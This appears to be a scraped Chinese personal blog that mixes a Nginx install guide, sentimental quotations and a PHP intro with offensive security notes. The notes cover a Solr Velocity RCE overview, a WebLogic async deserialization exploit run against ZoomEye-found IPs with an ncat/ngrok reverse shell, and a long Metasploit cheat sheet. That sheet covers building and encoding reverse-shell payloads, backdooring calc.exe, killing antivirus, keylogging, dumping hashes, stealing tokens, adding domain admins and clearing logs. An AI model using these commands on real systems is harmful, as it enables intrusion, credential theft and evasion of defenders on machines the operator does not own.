搭建 web 运行的基础环境

搭建 web 运行的基础环境

Whitesun

0x01 Nginx安装

我采用的是虚拟机的Redhat7,因为之前在进学校学习Linux的时候老师要求安装的。我一直用到毕业设计,还是很有感情的!!!

1.首先安装四个依赖

1
yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-devel

Nginx1

2.解压Nginx安装包

tar xzvf nginx-1.16.1.tar.gz

3.进入安装目录,进行编译安装

执行./configure

Nginx2

4.执行 make 编译

Nginx3

执行 make install

Nginx4

5.验证否安装成功,一般在目录/usr/local下,会有Nginx文件夹。

Nginx5

6.启动Nginx

/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

7.查看进程是否存在

ps -ef | grep nginx

Nginx6

8.浏览器访问127.0.0.1查看Nginx默认页面

Nginx7

Solr Velocity rce

Apache Solr Velocity模版注入远程命令执行漏洞复现以及POC编写

作者:Whitesun

0x01 漏洞概述

19年10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复现,此漏洞已经能够被批量利用。

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

该漏洞的产生原因:Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中,params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当params.resource.loader.enabled设置为true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的POST请求,将params.resource.loader.enabled的值修改为true,在服务器上进行命令执行,从而获取服务器的权限。如果在赔上solr未授权访问漏洞,存在于外网的大部分solr服务器将不堪一击!

关于params.resource.loader.enabled的介绍:

https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html

0x02 影响范围

solr 4.x~solr 8.2 版本

WebLogic wls9-async反序列化远程命令执行漏洞复现

WebLogic wls9-async反序列化远程命令执行漏洞复现(CNVD-C-2019-48814)

该漏洞是由wls9_async_response组件导致,在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,未授权的情况下远程执行命令。部分版本WebLogic中默认包含的wls9_async_response包,主要是为WebLogic Server提供异步通讯服务。


利用zoomeye扫描到的ip


首先访问 目标ip + /_async/AsyncResponseService 来判断是否启用该组件,如果存在则有可能存在此漏洞。

漏洞原理是向/_async/AsyncResponseService发送XMLPoc,连接类型content-type: text/xml

利用poc

https://github.com/fuhei/CNVD-C-2019-48814/blob/master/CNVD-C-2019-48814.py

首先用ncat监听端口8889

1
ncat -lvp 8889

然后利用ngrok进行内网穿透。下面这片文章写的非常好!

https://bbs.ichunqiu.com/thread-53000-1-1.html

最后利用poc尝试反弹端口getshell

python2 CNVD-C-2019-48814.py -l <ngrok分配的免费域名> -p <ngrok分配的端口> -r <目标ip+端口>

命令执行后,发现端口转发已经收到了

漏洞利用成功

I LIKE YOU

我想我大概是喜欢你,像猫住在屋顶,数着一夜星晴,笙箫落起;我想我大概是喜欢你,似对镜的花影,照着金甲红衣,云霄燃泣。其实啊,我真的是喜欢你,唱着梦中的歌曲,追逐着烽火之中的萧萧旌旗;其实啊,我真的是喜欢你,看着雪落的无心,描绘着漫漫风雨里的黄沙风起。我是,真的喜欢你啊。

五月六号杂句

你的酒馆早已打烊,满心欢喜的我冻死在长街上。


一两次心动也许是鬼迷心窍,一直就叫在劫难逃。


怎么说,挺遗憾的。喜欢你像坐滑梯似的,一下就滑下去了结束了,我坐在最底层想了想还是觉得难以回去,至少懒得原路返回也懒得绕一圈重新开始,起身拍了拍一屁股灰尘,又晃晃悠悠笑着向人潮走去了。岁月也不算冗长,你我都善良,我见到你的时候,还是会笑的。


想起老舍说的:这世上真话本就不多,一位女子的脸红胜过一大段对白。


放不下的时候,多想想对方是怎么放下你的。


要怎么描述我对你的感觉啊
就像无意间吃到了柠檬的外皮又涩又苦
它们的汁液洒在眼圈上让我流了特别多无辜的眼泪我以后再也不想吃了 可是
这种奇妙的感觉一辈子也就能体验一次。


比如我这种人就不适合恋爱

因为爱会唤醒我的占有欲控制欲

也会勾引出我的狭隘自私敏感
而这每一种情绪都足以令我和我爱的人痛苦且越爱越严重。


武林外传里面有一集
郭芙蓉不小心把辣椒当做先面奶来用了,结果整个脸都红肿起来,哭着说嫁不出去了,然后吕秀才对郭芙蓉说你嫁给我吧,我记得你漂亮的样子。


“你这个人, 从一开始就大理性。你把自己层层包裹起来拒人于千里之外,哪怕付出也是适可而止。为了避免所有的结束,你避免了所有的开始,但是我还是希望有个人。”“什么? ”
“有个人可以看穿你怕受伤的心,坚定地站在你身边。你知道,听歌时发现没谁可想,空空落落的,也不是件好事”


人太贪心了开始时只想多看你一眼
渐渐变成想和你在一起 努力克制占有欲可是

有时会想占有你 然后开始不满开始挑剔

因为无法实现 所以开始暴躁焦虑和歇斯底里

可是一开始 一开始我只是温柔的站在人群中期待你温柔的再看我一眼。


让你难过的事情就不要再坚持了


你每天这样熬夜,有人心疼你吗。



其实每个人都会累,只是伪装着保护自己,有时像患了忧郁症一样,会突然心情不好。偶尔也想患了自闭症似的,不想说话也不想动。别人问起,也不知道该怎么回答。不是假装沉默,只是无力诉说。或许每个人都有一个死角,自己走不出来,别人也闯不进去,我把最深沉的秘密放在哪里,你不懂我,我不怪你。



蛇不知道自己有毒

老鼠也不知道自己用的都是偷来的

人更不知道自己有错

你的好对别人来说就只是一颗糖

吃了就没了



以后,只对两种人好,一种是对我好的人,一种是懂得我好的人。

在这短暂的生命里,一个人的温暖是有限的啊,一点都不能浪费。



生活已经很累了,希望别再碰到那些让我不开心的傻逼了。



还是不熬夜了,梦里什么都会有。



后来我才知道,那些真正要走的人,吝啬得连说再见都觉得浪费时间;

而那些嚷着说“喂,我要走了”还一步三回头的人,
只不过是想你说一句’留下来好吗。“

突然明白,真正的道别是没有道别,真正的告别从来都是不辞而别。



生活中有很多不如意,如果一不开心,就寄希望于”如果当初“,那你永远不会开心。



没有谁是因为一时冲动而离开你的

那些难过无助又一次次忍耐的眼泪你都看不见

就像堤坝下逐渐因侵蚀而拓宽的裂缝

你看见的只是它崩溃的那个瞬间


metasploit常用命令

metasploit常用命令
service apache2 start

service postgresql start

msfconsole启动

1.MSF终端命令

show exploit

列出metasploit框架中的所有渗透攻击模块。

show payloads

列出metasploit框架中的所有攻击载荷。

show auxiliary

列出metasploit框架中的所有辅助攻击模块。

search name

查找metasploit框架中的所有渗透攻击和其他模块。

info

展示出制定渗透攻击或模块的相关信息。

use name

装载一个渗透攻击或者模块。

LHOST

目标主机链接的IP地址。

RHOST

远程主机或者目标主机。

set function

设置特定的配置参数。

setg function

以全局方式设置特定的配置参数。

show options

列出某个渗透攻击或模块中所有的参数配置。

show targets

列出渗透攻击所支持的目标平台。

set target num

指定你所知道的目标的操作系统以及补丁版本类型。

set payload

指定想要使用的攻击载荷。

show advanced

列出所有高级配置选项。

set autorunscript migrate -f.

在渗透攻击完成后,将自动迁移到另一个进程。

check 检测目标是否对选定渗透攻击存在相应安全漏洞

exploit

执行渗透攻击或模块来攻击目标。

exploit -j

在计划任务下进行渗透攻击(攻击将在后台进行)

exploit -z

渗透攻击成功后不与会话进行交互。

exploit -e encoder

制定使用的攻击载荷编码方式

exploit -h

列出exploit命令的帮助信息。

sessions -l

列出可用的交互会话(在处理多个shell时使用)

sessions -l -v

列出所有可用的交互会话以及会话详细信息,例如:攻击系统时使用了哪个安全漏洞。

sessions -s script

在所有活跃的meterpreter会话中运行一个特定的meterpreter脚本。

sessions -K

杀死所有活跃的交互会话。

sessions -c cmd

在所有活跃的metaerpreter会话上执行一个命令。

sessions -u sessionID

升级一个普通的win32shell到meterpreter shell。

db_create name

创建一个数据库驱动攻击所要使用的数据库。

db_nmap

利用nmap并把所有扫描数据库存储到数据库中。

db_autopwn -h

展示出db_autopwn命令的帮助信息。

db_autopwn -p -r -e

对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。

db_destroy

删除当前数据库。

db_destroy user:password@host:port/database

使用高级选项来删除数据库。

2.metapreter命令

help

打开帮助

run scriptname

运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。

sysinfo

列出受控主机的系统信息。

ls

列出目标主机的文件和文件夹信息。

use priv

加载特权提升扩展模块,来扩展meterpreter库。

ps

显示所有运行进程以及关联的用户账户。

migrate PID

迁移到一个指定的进程ID

use incognito

加载inconito功能(用来盗取目标主机的令牌或是假冒用户)

list_tokens -u

列出目标主机用户组的可用令牌。

impersonate_token DOMAIN_NAME\USERNAME

假冒目标主机上的可用令牌。

steal_token

盗窃给定进程的可用令牌并进行令牌假冒。

drop_token

停止假冒当前的令牌。

getsystem

通过各种攻击向量来提升到系统用户权限。

shell

以所有可用令牌来运行一个交互的shell。

execute -f cmd.exe -i

执行cmd.exe命令并进行交互。

execute -f cmd.exe -i -t

以所有可用令牌来执行cmd命令。

execute -f cmd.exe -i -H -t

以所有可用令牌来执行cmd命令并隐藏该进程。

rev2self

回到控制目标主机的初始用户账户下。

reg command

在目标主机注册表中进行交互,创建,删除和查询等操作。

setdesktop number

切换到另一个用户界面(该功能基于那些用户已登录)。

screenshot

对目标主机的屏幕进行截图。

upload file

向目标主机上传文件。

download file

从目标主机下载文件。

keyscan_dump存储目标主机上或许的键盘记录。

getprivs

尽可能多的获取目标主机上的特权。

uietl enable keyboard/mouse

接管目标主机的键盘和鼠标。

background

将你当前的meterpreter shell转为后台执行。

hashdump

导出目标主机中的口令哈希值。

use sniffer

加载嗅探模块。

sniffer_interfaces

列出目标主机所有开放的网络接口。

sniffer_dump interfaceID pcapname

在目标主机上启动嗅探。

sniffer_start interfaceID packet_buffer

在目标主机上针对特定范围的数据包缓冲区启动嗅探。

sniffer_stats interfaceID

获取正在实施嗅探网络接口的统计数据

sniffer_stop interfaceID

停止嗅探。

add_user username password -h ip

在远程目标主机上添加一个用户。

add_group_user “Domain Adimins”username -h ip

将用户添加到目标主机的域管理员组中。

clearev

清除目标主机上的日志记录。

timestomp

修改文件属性,例如修改文件的创建时间(反取证调差)。

reboot

重启目标主机。

3.MSFpayload命令

msfpayload -h

MSFpayload 的帮助信息。

msfpayload windows/meterpreter/bind_tcp O

列出所有可用的攻击载荷。

msfpayload windows/metarpreter/bind_tcp O.

列出所有windows/meterpreter/bind_tcp 下攻击载荷的配置项(任何攻击载荷都是可以配置的)。

msfpayload windows/metaerpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X>payload.exe

创建一个metarpreter的reverse_tcp 攻击载荷回连到192.168.1.5的443端口,将其保存为名为payload.exe的windows可执行程序。

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R>payload.ray

与上面生成同样的攻击载荷,到导成原始格式的文件,该文件将在后面的MSFencode中使用。

msfpayload windows/meterpreter/bind_tcp LPORT=443 C>payload.c

与上面生成同样的攻击载荷,但导出成C格式的shellcode。

msfpayload windows/meterpreter/bind_tcp LPORT=443 J>payload.java

导出成以%u编码方式的javaScript语言字符串。

4.MSFencode命令

msfencode -h

列出MSFencode的帮助信息。

msfencode -l

列出所有可用的编码器。

msfencode -t(c,eif.exe,java,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)

显示编码缓冲区的格式。

msfencode -i payload.raw -o encoded_payload,exe -e x86/shikata_ga_nai -c 5 -t exe

使用 shikata_nai编码器对payload.raw文件进行5次编码,然后导出一个名为encoded_payload.exe的文件。

msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -e x86/_countdown -c 5 -t raw|msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

创建一个经过多种编码格式嵌套编码的攻击载荷。

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

创建一个纯字母 数字的shellcode,由ESI寄存器指向shellcode,以C语言格式输出。

5.MSFcli命令。

msfcli | grep exploit

仅列出渗透攻击模块。

msfcli | grep exploit/windows

仅列出与Windows相关的渗透攻击模块。

msfcli exploit/windows/smb/msf08_067_netapi PYALOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

对172.16.32.142 发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在443端口进行监听。

6.Metasploit高级忍术

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -k -o payload.exe -c x86/shikata_ga_nai -c 7 -t exe

创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5 主机的443端口,使用calc.exe作为载荷后门程序,让载荷执行流一直运行在被攻击的应用程序中,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe。

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

创建一个反弹式的meterpreter攻击载荷,回连到192.168.1.5主机的443端口,使用calc.exe作为载荷后门程序,不让载荷执行流一直运行在被攻击的应用程序中,同时在攻击载荷执行后也不会再目标主机上弹出任何信息。这种配置非常有用,当你通过浏览器漏洞控制了远程主机,并不想让计算机程序打开呈现在目标用户面前,同样,最后生成用.shikata_ga_nai 编码的攻击载荷程序payload.exe。

msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -0 payload.exe -e x86/shikata_ga_nai -c 7 exe & & msfcli multi/bandler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E

创建一个raw格式的bind_tcp模式Meterpreter攻击载荷,用shikata_ga_nai编码7次,输出以payload.exe命名的windows可执行程序文件,同时启用多路监听方式进行执行。

7.MSFvenom

利用MSFvenom,一个集成套件,来创建和编码你的攻击载荷。

msfvenom –payload

windows/meterpreter/reverse_tcp –format exe –encoder x86/shikata_ga_nai LHOST=172.16.1.32 LPORT=443 > msf.exe

[*] x86/shikata_ga_nai succeeded with size 317(iteration=1)

root://opt/framework3/msf3#

这一行命令就可以创建一个攻击载荷并自动产生出可执行文件格式。

8.Meterpreter后渗透攻击阶段命令。

在Windows主机上使用metarpreter进行提权操作。

meterpreter>use priv

meterpreter>getsystem

从一个给定的进程ID中窃取一个域管理员组令牌,添加一个域账户,并把域账户添加到域管理员组中。

meterpreter>ps

meterpreter>steal_token 1784

meterpreter>shell

c:\windows\sysem32>user metasploit @password /ADD /DOMAIN

c:\windows\sysem32>net group “Domain Admins” metasploit /ADD /DOMAIN

从SAM数据库中导出密码的哈希值。

meterpreter>use priv

meterpreter>getsystem

meterpreter>hashdump

提示:在widonws 2008中,如果getsystem命令和hashdump命令抛出异常情况时,你需要迁移到一个以SYSTEM系统权限运行的进程中。

自动迁移到一个独立进程。

meterpreter>run migrate

通过meterpreter的killav脚步来杀死目标主机运行的杀毒软件进程。

meterpreter>run kallav

针对一个特定的进程捕获目标主机上的键盘记录:

meterpreter>ps

meterpreter>migrate 1436

meterpreter>kayscan_start

meterpreter>kayscan_start

meterpreter>keyscan_dump

meterpreter>kayscan_stop

使用匿名方式来假冒管理员:

meterpreter>use incognito

meterpreter>list_tokens -u

meterpreter>use priv

meterpreter>getsystem

meterpreter>list_tokens -u

meterpreter>impersonate_token IHAZSECURITY\Admininistrator

查看目标主机都采取了那些防范保护措施,列出帮助菜单,关闭防火墙以及其它我们发现的保护措施。

meterpreter>run getcountermeasure

meterpreter>run getcountermeasure -h

meterpreter>run getcountermeasure -d -k

识别被控制的主机是否是一台虚拟机。

meterpreter>run checkvm

在一个meterpreter会话界面中使用cmd shell。

meterpreter>shell

获取目标主机的图形界面(VNC).

meterpreter>run vnc

使正在运行的meterpreter界面在后台运行。

meterpreter>background

绕过windows的用户账户控制(UAC)机制。

meterpreter>run post/windows/escalate/bypassuac

导出苹果OS-X系统的口令哈希值。

meterpreter>run post/osx/gather/hashdump

导出linux系统的口令哈希值。

meterpreter>run post/linux/gather/hashdump

转载自:https://www.cnblogs.com/hijacklinux/p/7072854.html

socket套接字

socket (套接字)

socket是对传输层协议的封装

socket本身不是协议而是一个调用接口(API)

socket类型:

基于tcp协议的流式socket

基于udp协议的报式socket

php简介

PHP 文件是什么?

  • PHP(全称:PHP:Hypertext Preprocessor,即”PHP:超文本预处理器”)是一种通用开源脚本语言。
  • PHP 脚本在服务器上执行。
  • PHP 可免费下载使用。

PHP 文件是什么?

  • PHP 文件可包含文本、HTML、JavaScript代码和 PHP 代码
  • PHP 代码在服务器上执行,结果以纯 HTML 形式返回给浏览器
  • PHP 文件的默认文件扩展名是 “.php”

PHP 能做什么?

  • PHP 可以生成动态页面内容
  • PHP 可以创建、打开、读取、写入、关闭服务器上的文件
  • PHP 可以收集表单数据
  • PHP 可以发送和接收 cookies
  • PHP 可以添加、删除、修改您的数据库中的数据
  • PHP 可以限制用户访问您的网站上的一些页面
  • PHP 可以加密数据

通过 PHP,您不再限于输出 HTML。您可以输出图像、PDF 文件,甚至 Flash 电影。您还可以输出任意的文本,比如 XHTML 和 XML。

为什么使用 PHP?

  • PHP 可在不同的平台上运行(Windows、Linux、Unix、Mac OS X 等)
  • PHP 与目前几乎所有的正在被使用的服务器相兼容(Apache、IIS 等)
  • PHP 提供了广泛的数据库支持
  • PHP 是免费的,可从官方的 PHP 资源下载它: www.php.net
  • PHP 易于学习,并可高效地运行在服务器端

原文链接:http://www.runoob.com/php/php-intro.html

四月二十五杂句

小时候早熟的后果就是长大熟烂了,往后再过一阵子比起其他人发现自己其实还烂的不够。


我知道有人是爱我的,但我好像缺乏爱人的能力。


人啊,明明一点儿也不了解对方,错看对方,却视彼此为独一无二的挚友,一生不解对方的真性情,待一方撒手西去,还要为其哭泣,念诵悼词。


如今的我,谈不上幸福,也谈不上不幸。


若能避开猛烈的狂喜 ,自然也不会有悲痛的来袭 。


只有活的愚昧,或活得无耻的人才能完全沉溺在幸福之中,而做不到至少其中一者的完人,活在地狱里连选择死亡也不被允许,没有一条出路,无力的绝望。


所谓的世人,不就是你吗。


​ 摘抄自《人间失格》

,